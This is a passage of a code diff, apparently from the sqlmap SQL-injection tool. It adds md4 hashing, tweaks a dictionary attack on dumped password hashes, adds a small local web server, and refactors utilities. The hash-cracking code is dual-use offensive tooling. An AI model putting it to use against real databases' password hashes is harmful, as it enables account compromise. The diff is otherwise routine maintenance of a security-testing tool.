-    '0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25'
-    """
-
-    binsalt = decodeHex(salt)
-    unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password)
-
-    retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest())
-
-    return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
-
 def oracle_passwd(password, salt, uppercase=True):
     """
     Reference(s):
@@ -246,6 +248,18 @@ def oracle_old_passwd(password, username, uppercase=True):  # prior to version '
 
     return retVal.upper() if uppercase else retVal.lower()
 
+def md4_generic_passwd(password, uppercase=False):
+    """
+    >>> md4_generic_passwd(password='testpass', uppercase=False)
+    '5b4d300688f19c8fd65b8d6ccf98e0ae'
+    """
+
+    password = getBytes(password)
+
+    retVal = hashlib.new("md4", password).hexdigest()
+
+    return retVal.upper() if uppercase else retVal.lower()
+
 def md5_generic_passwd(password, uppercase=False):
     """
     >>> md5_generic_passwd(password='testpass', uppercase=False)
@@ -708,6 +722,7 @@ def attackDumpedTable():
                 if hash_:
                     key = hash_ if hash_ not in replacements else replacements[hash_]
                     lut[key.lower()] = password
+                    lut["0x%s" % key.lower()] = password
 
             debugMsg = "post-processing table dump"
             logger.debug(debugMsg)
@@ -942,6 +957,8 @@ def dictionaryAttack(attack_dict):
                         if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
                             item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}]
                         elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1):
+                            if hash_.startswith("0x"):  # Reference: https://docs.microsoft.com/en-us/sql/t-sql/functions/hashbytes-transact-sql?view=sql-server-2017
+                                hash_ = hash_[2:]
                             item = [(user, hash_), {}]
                         elif hash_regex in (HASH.SSHA,):
                             item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[20:]}]
@@ -983,7 +1000,7 @@ def dictionaryAttack(attack_dict):
                                 resumes.append((user, hash_, resumed))
                             keys.add(hash_)
 
-                    except (binascii.Error, IndexError):
+                    except (binascii.Error, TypeError, IndexError):
                         pass
 
         if not attack_info:

lib/utils/hashdb.py

@@ -141,6 +141,8 @@ class HashDB(object):
                             self.cursor.execute("INSERT INTO storage VALUES (?, ?)", (hash_, value,))
                         except sqlite3.IntegrityError:
                             self.cursor.execute("UPDATE storage SET value=? WHERE id=?", (value, hash_,))
+                    except UnicodeError:  # e.g. surrogates not allowed (Issue #3851)
+                        break
                     except sqlite3.DatabaseError as ex:
                         if not os.path.exists(self.filepath):
                             debugMsg = "session file '%s' does not exist" % self.filepath

lib/utils/htmlentities.py

@@ -1,263 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-# Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html
-
-htmlEntities = {
-    "quot": 34,
-    "amp": 38,
-    "lt": 60,
-    "gt": 62,
-    "nbsp": 160,
-    "iexcl": 161,
-    "cent": 162,
-    "pound": 163,
-    "curren": 164,
-    "yen": 165,
-    "brvbar": 166,
-    "sect": 167,
-    "uml": 168,
-    "copy": 169,
-    "ordf": 170,
-    "laquo": 171,
-    "not": 172,
-    "shy": 173,
-    "reg": 174,
-    "macr": 175,
-    "deg": 176,
-    "plusmn": 177,
-    "sup2": 178,
-    "sup3": 179,
-    "acute": 180,
-    "micro": 181,
-    "para": 182,
-    "middot": 183,
-    "cedil": 184,
-    "sup1": 185,
-    "ordm": 186,
-    "raquo": 187,
-    "frac14": 188,
-    "frac12": 189,
-    "frac34": 190,
-    "iquest": 191,
-    "Agrave": 192,
-    "Aacute": 193,
-    "Acirc": 194,
-    "Atilde": 195,
-    "Auml": 196,
-    "Aring": 197,
-    "AElig": 198,
-    "Ccedil": 199,
-    "Egrave": 200,
-    "Eacute": 201,
-    "Ecirc": 202,
-    "Euml": 203,
-    "Igrave": 204,
-    "Iacute": 205,
-    "Icirc": 206,
-    "Iuml": 207,
-    "ETH": 208,
-    "Ntilde": 209,
-    "Ograve": 210,
-    "Oacute": 211,
-    "Ocirc": 212,
-    "Otilde": 213,
-    "Ouml": 214,
-    "times": 215,
-    "Oslash": 216,
-    "Ugrave": 217,
-    "Uacute": 218,
-    "Ucirc": 219,
-    "Uuml": 220,
-    "Yacute": 221,
-    "THORN": 222,
-    "szlig": 223,
-    "agrave": 224,
-    "aacute": 225,
-    "acirc": 226,
-    "atilde": 227,
-    "auml": 228,
-    "aring": 229,
-    "aelig": 230,
-    "ccedil": 231,
-    "egrave": 232,
-    "eacute": 233,
-    "ecirc": 234,
-    "euml": 235,
-    "igrave": 236,
-    "iacute": 237,
-    "icirc": 238,
-    "iuml": 239,
-    "eth": 240,
-    "ntilde": 241,
-    "ograve": 242,
-    "oacute": 243,
-    "ocirc": 244,
-    "otilde": 245,
-    "ouml": 246,
-    "divide": 247,
-    "oslash": 248,
-    "ugrave": 249,
-    "uacute": 250,
-    "ucirc": 251,
-    "uuml": 252,
-    "yacute": 253,
-    "thorn": 254,
-    "yuml": 255,
-    "OElig": 338,
-    "oelig": 339,
-    "Scaron": 352,
-    "fnof": 402,
-    "scaron": 353,
-    "Yuml": 376,
-    "circ": 710,
-    "tilde": 732,
-    "Alpha": 913,
-    "Beta": 914,
-    "Gamma": 915,
-    "Delta": 916,
-    "Epsilon": 917,
-    "Zeta": 918,
-    "Eta": 919,
-    "Theta": 920,
-    "Iota": 921,
-    "Kappa": 922,
-    "Lambda": 923,
-    "Mu": 924,
-    "Nu": 925,
-    "Xi": 926,
-    "Omicron": 927,
-    "Pi": 928,
-    "Rho": 929,
-    "Sigma": 931,
-    "Tau": 932,
-    "Upsilon": 933,
-    "Phi": 934,
-    "Chi": 935,
-    "Psi": 936,
-    "Omega": 937,
-    "alpha": 945,
-    "beta": 946,
-    "gamma": 947,
-    "delta": 948,
-    "epsilon": 949,
-    "zeta": 950,
-    "eta": 951,
-    "theta": 952,
-    "iota": 953,
-    "kappa": 954,
-    "lambda": 955,
-    "mu": 956,
-    "nu": 957,
-    "xi": 958,
-    "omicron": 959,
-    "pi": 960,
-    "rho": 961,
-    "sigmaf": 962,
-    "sigma": 963,
-    "tau": 964,
-    "upsilon": 965,
-    "phi": 966,
-    "chi": 967,
-    "psi": 968,
-    "omega": 969,
-    "thetasym": 977,
-    "upsih": 978,
-    "piv": 982,
-    "bull": 8226,
-    "hellip": 8230,
-    "prime": 8242,
-    "Prime": 8243,
-    "oline": 8254,
-    "frasl": 8260,
-    "ensp": 8194,
-    "emsp": 8195,
-    "thinsp": 8201,
-    "zwnj": 8204,
-    "zwj": 8205,
-    "lrm": 8206,
-    "rlm": 8207,
-    "ndash": 8211,
-    "mdash": 8212,
-    "lsquo": 8216,
-    "rsquo": 8217,
-    "sbquo": 8218,
-    "ldquo": 8220,
-    "rdquo": 8221,
-    "bdquo": 8222,
-    "dagger": 8224,
-    "Dagger": 8225,
-    "permil": 8240,
-    "lsaquo": 8249,
-    "rsaquo": 8250,
-    "euro": 8364,
-    "weierp": 8472,
-    "image": 8465,
-    "real": 8476,
-    "trade": 8482,
-    "alefsym": 8501,
-    "larr": 8592,
-    "uarr": 8593,
-    "rarr": 8594,
-    "darr": 8595,
-    "harr": 8596,
-    "crarr": 8629,
-    "lArr": 8656,
-    "uArr": 8657,
-    "rArr": 8658,
-    "dArr": 8659,
-    "hArr": 8660,
-    "forall": 8704,
-    "part": 8706,
-    "exist": 8707,
-    "empty": 8709,
-    "nabla": 8711,
-    "isin": 8712,
-    "notin": 8713,
-    "ni": 8715,
-    "prod": 8719,
-    "sum": 8721,
-    "minus": 8722,
-    "lowast": 8727,
-    "radic": 8730,
-    "prop": 8733,
-    "infin": 8734,
-    "ang": 8736,
-    "and": 8743,
-    "or": 8744,
-    "cap": 8745,
-    "cup": 8746,
-    "int": 8747,
-    "there4": 8756,
-    "sim": 8764,
-    "cong": 8773,
-    "asymp": 8776,
-    "ne": 8800,
-    "equiv": 8801,
-    "le": 8804,
-    "ge": 8805,
-    "sub": 8834,
-    "sup": 8835,
-    "nsub": 8836,
-    "sube": 8838,
-    "supe": 8839,
-    "oplus": 8853,
-    "otimes": 8855,
-    "perp": 8869,
-    "sdot": 8901,
-    "lceil": 8968,
-    "rceil": 8969,
-    "lfloor": 8970,
-    "rfloor": 8971,
-    "lang": 9001,
-    "rang": 9002,
-    "loz": 9674,
-    "spades": 9824,
-    "clubs": 9827,
-    "hearts": 9829,
-    "diams": 9830,
-}

lib/utils/httpd.py

@@ -0,0 +1,141 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from __future__ import print_function
+
+import mimetypes
+import gzip
+import os
+import re
+import sys
+import threading
+import time
+import traceback
+
+sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..")))
+
+from lib.core.enums import HTTP_HEADER
+from lib.core.settings import UNICODE_ENCODING
+from lib.core.settings import VERSION_STRING
+from thirdparty import six
+from thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer
+from thirdparty.six.moves import http_client as _http_client
+from thirdparty.six.moves import socketserver as _socketserver
+from thirdparty.six.moves import urllib as _urllib
+
+HTTP_ADDRESS = "0.0.0.0"
+HTTP_PORT = 8951
+DEBUG = True
+HTML_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "data", "html"))
+DISABLED_CONTENT_EXTENSIONS = (".py", ".pyc", ".md", ".txt", ".bak", ".conf", ".zip", "~")
+
+class ThreadingServer(_socketserver.ThreadingMixIn, _BaseHTTPServer.HTTPServer):
+    def finish_request(self, *args, **kwargs):
+        try:
+            _BaseHTTPServer.HTTPServer.finish_request(self, *args, **kwargs)
+        except Exception:
+            if DEBUG:
+                traceback.print_exc()
+
+class ReqHandler(_BaseHTTPServer.BaseHTTPRequestHandler):
+    def do_GET(self):
+        path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "")
+        params = {}
+        content = None
+
+        if query:
+            params.update(_urllib.parse.parse_qs(query))
+
+        for key in params:
+            if params[key]:
+                params[key] = params[key][-1]
+
+        self.url, self.params = path, params
+
+        if path == '/':
+            path = "index.html"
+
+        path = path.strip('/')
+
+        path = path.replace('/', os.path.sep)
+        path = os.path.abspath(os.path.join(HTML_DIR, path)).strip()
+
+        if not os.path.isfile(path) and os.path.isfile("%s.html" % path):
+            path = "%s.html" % path
+
+        if ".." not in os.path.relpath(path, HTML_DIR) and os.path.isfile(path) and not path.endswith(DISABLED_CONTENT_EXTENSIONS):
+            content = open(path, "rb").read()
+            self.send_response(_http_client.OK)
+            self.send_header(HTTP_HEADER.CONNECTION, "close")
+            self.send_header(HTTP_HEADER.CONTENT_TYPE, mimetypes.guess_type(path)[0] or "application/octet-stream")
+        else:
+            content = ("<!DOCTYPE html><html lang=\"en\"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL %s was not found on this server.</p></body></html>" % self.path.split('?')[0]).encode(UNICODE_ENCODING)
+            self.send_response(_http_client.NOT_FOUND)
+            self.send_header(HTTP_HEADER.CONNECTION, "close")
+
+        if content is not None:
+            for match in re.finditer(b"<!(\\w+)!>", content):
+                name = match.group(1)
+                _ = getattr(self, "_%s" % name.lower(), None)
+                if _:
+                    content = self._format(content, **{name: _()})
+
+            if "gzip" in self.headers.get(HTTP_HEADER.ACCEPT_ENCODING):
+                self.send_header(HTTP_HEADER.CONTENT_ENCODING, "gzip")
+                _ = six.BytesIO()
+                compress = gzip.GzipFile("", "w+b", 9, _)
+                compress._stream = _
+                compress.write(content)
+                compress.flush()
+                compress.close()
+                content = compress._stream.getvalue()
+
+            self.send_header(HTTP_HEADER.CONTENT_LENGTH, str(len(content)))
+
+        self.end_headers()
+
+        if content:
+            self.wfile.write(content)
+
+        self.wfile.flush()
+
+    def _format(self, content, **params):
+        if content:
+            for key, value in params.items():
+                content = content.replace("<!%s!>" % key, value)
+
+        return content
+
+    def version_string(self):
+        return VERSION_STRING
+
+    def log_message(self, format, *args):
+        return
+
+    def finish(self):
+        try:
+            _BaseHTTPServer.BaseHTTPRequestHandler.finish(self)
+        except Exception:
+            if DEBUG:
+                traceback.print_exc()
+
+def start_httpd():
+    server = ThreadingServer((HTTP_ADDRESS, HTTP_PORT), ReqHandler)
+    thread = threading.Thread(target=server.serve_forever)
+    thread.daemon = True
+    thread.start()
+
+    print("[i] running HTTP server at '%s:%d'" % (HTTP_ADDRESS, HTTP_PORT))
+
+if __name__ == "__main__":
+    try:
+        start_httpd()
+
+        while True:
+            time.sleep(1)
+    except KeyboardInterrupt:
+        pass

lib/utils/pivotdumptable.py

@@ -7,7 +7,6 @@ See the file 'LICENSE' for copying permission
 
 import re
 
-from extra.safe2bin.safe2bin import safechardecode
 from lib.core.agent import agent
 from lib.core.bigarray import BigArray
 from lib.core.common import Backend
@@ -33,6 +32,7 @@ from lib.core.settings import MAX_INT
 from lib.core.settings import NULL
 from lib.core.unescaper import unescaper
 from lib.request import inject
+from lib.utils.safe2bin import safechardecode
 from thirdparty.six import unichr as _unichr
 
 def pivotDumpTable(table, colList, count=None, blind=True, alias=None):

lib/utils/progress.py

@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
 import time
 
 from lib.core.common import dataToStdout

lib/utils/purge.py

@@ -15,6 +15,7 @@ import string
 from lib.core.common import getSafeExString
 from lib.core.common import openFile
 from lib.core.compat import xrange
+from lib.core.convert import getUnicode
 from lib.core.data import logger
 from thirdparty.six import unichr as _unichr
 
@@ -84,4 +85,4 @@ def purge(directory):
     try:
         shutil.rmtree(directory)
     except OSError as ex:
-        logger.error("problem occurred while removing directory '%s' ('%s')" % (directory, getSafeExString(ex)))
+        logger.error("problem occurred while removing directory '%s' ('%s')" % (getUnicode(directory), getSafeExString(ex)))

lib/utils/safe2bin.py

@@ -1,23 +1,15 @@
 #!/usr/bin/env python
 
 """
-safe2bin.py - Simple safe(hex) to binary format converter
-
 Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-from __future__ import print_function
-
 import binascii
 import re
 import string
-import os
 import sys
 
-from optparse import OptionError
-from optparse import OptionParser
-
 if sys.version_info >= (3, 0):
     xrange = range
     text_type = str
@@ -49,10 +41,10 @@ def safecharencode(value):
     """
     Returns safe representation of a given basestring value
 
-    >>> safecharencode(u'test123')
-    u'test123'
-    >>> safecharencode(u'test\x01\x02\xff')
-    u'test\\01\\02\\03\\ff'
+    >>> safecharencode(u'test123') == u'test123'
+    True
+    >>> safecharencode(u'test\x01\x02\xaf') == u'test\\\\x01\\\\x02\\xaf'
+    True
     """
 
     retVal = value
@@ -107,37 +99,3 @@ def safechardecode(value, binary=False):
             retVal[i] = safechardecode(value[i])
 
     return retVal
-
-def main():
-    usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
-    parser = OptionParser(usage=usage, version='0.1')
-
-    try:
-        parser.add_option('-i', dest='inputFile', help='Input file')
-        parser.add_option('-o', dest='outputFile', help='Output file')
-
-        (args, _) = parser.parse_args()
-
-        if not args.inputFile:
-            parser.error('Missing the input file, -h for help')
-
-    except (OptionError, TypeError) as ex:
-        parser.error(ex)
-
-    if not os.path.isfile(args.inputFile):
-        print('ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile)
-        sys.exit(1)
-
-    f = open(args.inputFile, 'r')
-    data = f.read()
-    f.close()
-
-    if not args.outputFile:
-        args.outputFile = args.inputFile + '.bin'
-
-    f = open(args.outputFile, 'wb')
-    f.write(safechardecode(data))
-    f.close()
-
-if __name__ == '__main__':
-    main()

lib/utils/search.py

@@ -25,8 +25,8 @@ from lib.core.exception import SqlmapBaseException
 from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.settings import BING_REGEX
-from lib.core.settings import DUMMY_SEARCH_USER_AGENT
 from lib.core.settings import DUCKDUCKGO_REGEX
+from lib.core.settings import DUMMY_SEARCH_USER_AGENT
 from lib.core.settings import GOOGLE_REGEX
 from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
 from lib.core.settings import UNICODE_ENCODING
@@ -44,14 +44,16 @@ def _search(dork):
     if not dork:
         return None
 
+    page = None
     data = None
-    headers = {}
+    requestHeaders = {}
+    responseHeaders = {}
 
-    headers[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT)
-    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE
+    requestHeaders[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT)
+    requestHeaders[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE
 
     try:
-        req = _urllib.request.Request("https://www.google.com/ncr", headers=headers)
+        req = _urllib.request.Request("https://www.google.com/ncr", headers=requestHeaders)
         conn = _urllib.request.urlopen(req)
     except Exception as ex:
         errMsg = "unable to connect to Google ('%s')" % getSafeExString(ex)
@@ -66,7 +68,7 @@ def _search(dork):
     url += "&start=%d" % ((gpage - 1) * 100)
 
     try:
-        req = _urllib.request.Request(url, headers=headers)
+        req = _urllib.request.Request(url, headers=requestHeaders)
         conn = _urllib.request.urlopen(req)
 
         requestMsg = "HTTP request:\nGET %s" % url
@@ -77,7 +79,6 @@ def _search(dork):
         code = conn.code
         status = conn.msg
         responseHeaders = conn.info()
-        page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type"))
 
         responseMsg = "HTTP response (%s - %d):\n" % (status, code)
 
@@ -90,6 +91,7 @@ def _search(dork):
     except _urllib.error.HTTPError as ex:
         try:
             page = ex.read()
+            responseHeaders = ex.info()
         except Exception as _:
             warnMsg = "problem occurred while trying to get "
             warnMsg += "an error page information (%s)" % getSafeExString(_)
@@ -99,6 +101,8 @@ def _search(dork):
         errMsg = "unable to connect to Google"
         raise SqlmapConnectionException(errMsg)
 
+    page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
+
     retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)]
 
     if not retVal and "detected unusual traffic" in page:
@@ -128,7 +132,7 @@ def _search(dork):
             regex = DUCKDUCKGO_REGEX
 
         try:
-            req = _urllib.request.Request(url, data=data, headers=headers)
+            req = _urllib.request.Request(url, data=data, headers=requestHeaders)
             conn = _urllib.request.urlopen(req)
 
             requestMsg = "HTTP request:\nGET %s" % url

lib/utils/sqlalchemy.py

@@ -76,7 +76,8 @@ class SQLAlchemy(GenericConnector):
                         pass
                 elif "invalid literal for int() with base 10: '0b" in traceback.format_exc():
                     raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')")
-                raise
+                else:
+                    pass
             except SqlmapFilePathException:
                 raise
             except Exception as ex:

plugins/dbms/access/enumeration.py

@@ -23,7 +23,7 @@ class Enumeration(GenericEnumeration):
         warnMsg = "on Microsoft Access it is not possible to get name of the current database"
         logger.warn(warnMsg)
 
-    def isDba(self, *args, **kwargs):
+    def isDba(self, user=None):
         warnMsg = "on Microsoft Access it is not possible to test if current user is DBA"
         logger.warn(warnMsg)
 

plugins/dbms/access/filesystem.py

@@ -9,10 +9,10 @@ from lib.core.exception import SqlmapUnsupportedFeatureException
 from plugins.generic.filesystem import Filesystem as GenericFilesystem
 
 class Filesystem(GenericFilesystem):
-    def readFile(self, rFile):
+    def readFile(self, remoteFile):
         errMsg = "on Microsoft Access it is not possible to read files"
         raise SqlmapUnsupportedFeatureException(errMsg)
 
-    def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
+    def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
         errMsg = "on Microsoft Access it is not possible to write files"
         raise SqlmapUnsupportedFeatureException(errMsg)